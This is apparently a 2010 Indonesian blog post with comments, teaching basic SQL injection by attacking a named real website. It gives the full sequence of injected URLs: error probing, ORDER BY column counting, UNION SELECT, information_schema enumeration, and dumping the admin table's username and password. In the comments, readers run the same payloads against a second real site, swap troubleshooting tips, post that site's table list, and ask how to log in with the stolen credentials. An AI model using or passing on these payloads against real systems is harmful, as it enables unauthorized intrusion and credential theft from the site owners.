Selasar Inspirasi

Teknik Dasar SQL injection pada PHP





Buat yang sudah familiar dengan SQL tidak ada salahnya mempraktikkan command2 yang sudah dikuasai di SQL untuk mencoba teknik SQL injection. Dengan teknik ini kita setidaknya dapat mengetahui apakah suatu web itu vulnerable (security-nya lemah) atau tidak.
Nah kalau ternyata web tersebut lemah, maka kita kemungkinan dapat mengambil password ama username admin-nya.
Berikut saya mencoba untuk melakukan SQL injection pada situs : 
http://www.lbpl.in/

dari alamat tersebut kita coba cari tab yang link nya ada .php?id=,  pada kasus ini saya mencoba pada sub artikel NEWS (Happy New Year 2010), dan hasilnya alamat sebagai berikut :
http://www.lbpl.in/news_detail.php?id=26 
Nah dari alamat tersebut kita coba apakah vulnerable atau tidak dengan membubuhkan tanda ‘ dibelakang angka
http://www.lbpl.in/news_detail.php?id=26
Dan ternyata keluar tulisan seperti dibawah ini :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
itu artinya web tersebut vulnerable dan dapat dikasih SQL injection. Adapun jika tidak muncul tulisan seperti itu, berarti situs tidak vulnerable.
Lanjut hi
Sekarang kita cari panjang kolom dengan perintah ORDER BY
http://www.lbpl.in/news_detail.php?id=26 order by 1-- (ternyata tidak eror)
coba kita tingkatkan angka dibelakang order by sampai kita jumpai eror
http://www.lbpl.in/news_detail.php?id=26 order by 4--
Nah ternyata muncul tulisan   Unknown column '5' in 'order clause'
itu artinya panjang kolom hanya 4. Setelah itu kita gunakan perintah union all select untuk mengetahui kolom mana yang bisa diinject
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,2,3,4--
Nah nanti akan muncul angka 2 dan 3
jadi dari keterangan tersebut kita dapat melakukan inject ke kolom 2 atau 3, terserah kita mau pilih yang mana.
Sekarang kita coba mengetahui versi php yang digunakan
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,version(),3,4--
muncul tulisan 5.0.77MM0.1-LOG
itu artinya versi php yang digunakan versi 5, jadi kita tidak perlu susah-susah untuk menebak-nebak tabelnya seperti di php versi 4
Sekarang kita cari nama-nama table yang ada pada database
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--
dari perintah tersebut kita dapat nama-nama table sebagai berikut :
ADMIN,AWARDS,BANNER,CATALOGUE,EVENTS,NEWS,NEWS_EMAIL,USERS,VIDEO
Sekarang kita gunakan table ADMIN tetapi kita harus mengkonversinya terlebih dahulu ke bentuk hexadecimal_sql, sehingga menjadi 0x41444d494e
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name =0x41444d494e--
Setelah itu muncul ID,USERNAME,PASS
Yup langkah terakhir nie : ngakak
http://www.lbpl.in/news_detail.php?id=-26 union all select 1,group_concat(id,username,pass),3,4 from admin--
Jreng..jreng muncul deh id, username ama passwordnya yaitu id=1, username=ADMIN, password=ADMIN
Selamat mencoba malu
nb: penulis tidak bertanggungjawab atas penyalahgunaan teknik ini. Ini hanya untuk sekedar pengetahuan saja. 


5 Comments
Tweets
Comments

Responses

5 Respones to "Teknik Dasar SQL injection pada PHP"

Anonim mengatakan...

Bro, klo erornya di line 19 ama
line 24
Gmn bro?


10 Agustus 2010 pukul 22.13
rive mengatakan...

dimundurkan lagi dari line 19 ke line dibawahnya sedikit demi sedikit sampe nggak dijumpai eror, misal diundurkan ke line 18 tidak eror, tapi ketika dimajukan ke line 19 eror, berarti ada 19 kolom (0-18),


12 Agustus 2010 pukul 21.24
andy800i mengatakan...

@ Rive..
Aku dah praktekin step by step kaya diatas tp hasilnya kok ga sama yah? http://www.lynnmcp.com/store.php?id=-4%20union%20select%201,version%28%29,3,4,5,6,7,8-- Versinya 5.0.77 kaya sample diatas, tp begitu cari tablenya Hasilnya gini :
SQL ERROR
Code: 1054
Message: Unknown column 'table_name' in 'field list'
Query: SELECT * FROM store WHERE id = -4 union select 1,table_name,3,4,5,6,7,8--

Ada saran Bro? maklum baru belajar nih..! add my ym : andy800i


13 Agustus 2010 pukul 20.12
Anonim mengatakan...

@andy : bisa koq, mungkin salah ngetik aja, coba aja dari postingan diatas kamu copy paste yang perlu..nanti bisa ngasilin table_name banyak kayak gini

blog,books,clients,contact,content,content_bio,content_home,content_pages,go_access_levels,go_config,go_modules,go_online_inquiries,go_users,mailinglist,presentations,quote,store,testimonials,testimonials_cats


14 Agustus 2010 pukul 16.50
Irsyad mengatakan...

bos la terus kalo udah dapet username n paswornya kita bisa login gak "kalo bisa cara selanjutnya gi mana"


27 Oktober 2010 pukul 11.02

Posting Komentar

 
Return to top of page Copyright © 2010 | Platinum Theme Converted into Blogger Template by HackTutors